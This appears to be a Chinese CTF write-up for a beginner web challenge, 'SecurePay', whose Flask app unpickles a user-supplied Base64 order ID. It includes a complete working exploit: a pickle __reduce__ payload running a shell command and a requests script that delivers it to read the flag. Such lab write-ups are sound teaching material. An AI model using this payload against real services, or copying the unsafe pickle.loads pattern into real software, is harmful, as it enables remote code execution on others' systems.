# SecurePay 的解题思路

## 题目信息
| 题目名 | 题目描述 | 类型 | 预计解题时间 | 难度 | 是否提供源码 |
| :----: | :------: | :--: | :----------: | :--: | :--: |
| SecurePay | SecurePay是一个安全的在线支付平台，用户可以注册账户、进行支付交易并查看订单历史。平台采用了先进的安全技术来保护用户的支付数据。然而，最近有用户报告说在某些情况下订单信息显示异常。你能找出问题所在吗？ | WEB | 1-2小时 | 入门 | 是 |

## 知识点
1. Python pickle 反序列化漏洞
2. Flask Web 应用基础
3. 会话管理机制
4. Base64 编码/解码

## 解题步骤

### Step 1: 信息收集与功能分析
首先访问网站，发现是一个支付平台，具有以下功能：
- 用户注册和登录
- 支付功能
- 订单查看功能

注册一个测试账户并登录后，可以尝试进行支付操作。支付成功后，系统会生成一个订单ID，并可以在订单列表中查看。

### Step 2: 分析订单处理机制
查看提供的源代码，重点关注订单处理部分。在 `app.py` 中发现以下关键代码：

```python
@app.route('/pay', methods=['GET', 'POST'])
def pay():
    # ...
    order_data = {'amount': amount, 'user': session['username']}
    serialized_order = pickle.dumps(order_data)  # 使用pickle序列化
    order_id = base64.b64encode(serialized_order).decode()
    # ...

@app.route('/view_order')
def view_order():
    # ...
    serialized_order = base64.b64decode(order_id)
    order_data = pickle.loads(serialized_order)  # 直接反序列化用户输入
    # ...
```

关键发现：
1. 订单数据使用 `pickle.dumps()` 序列化
2. 订单ID是Base64编码的序列化数据
3. 查看订单时直接使用 `pickle.loads()` 反序列化用户提供的订单ID

### Step 3: 构造恶意payload
Python的pickle模块在反序列化时可以执行任意代码。我们需要构造一个恶意的pickle对象，当被反序列化时执行命令读取flag。

构造RCE类：
```python
class RCE:
    def __reduce__(self):
        import subprocess
        return subprocess.check_output, (["cat", "/tmp/flag.txt"],)
```

生成payload：
```python
malicious_order = {'amount': '100', 'user': RCE()}
payload = pickle.dumps(malicious_order)
order_id = base64.b64encode(payload).decode()
```

### Step 4: 触发漏洞获取flag
1. 注册并登录一个账户
2. 使用生成的恶意订单ID访问 `/view_order?order_id=恶意订单ID`
3. 系统会反序列化我们的恶意对象，执行 `cat /tmp/flag.txt` 命令
4. 命令输出会显示在订单详情页面的"User"字段中

完整利用脚本：
```python
import requests
import pickle
import base64

class RCE:
    def __reduce__(self):
        import subprocess
        return subprocess.check_output, (["cat", "/tmp/flag.txt"],)

url = "http://目标地址:端口"
s = requests.Session()
s.post(f"{url}/register", data={"username": "test", "password": "test"})
s.post(f"{url}/login", data={"username": "test", "password": "test"})

malicious_order = {'amount': '100', 'user': RCE()}
payload = pickle.dumps(malicious_order)
order_id = base64.b64encode(payload).decode()

response = s.get(f"{url}/view_order", params={"order_id": order_id})
print(response.text)
```

### Step 5: 提取flag
执行上述脚本后，在响应中可以看到flag显示在"User"字段：
```
User: b'DASCTF{test12345}\n'
```

## Flag
DASCTF{test12345}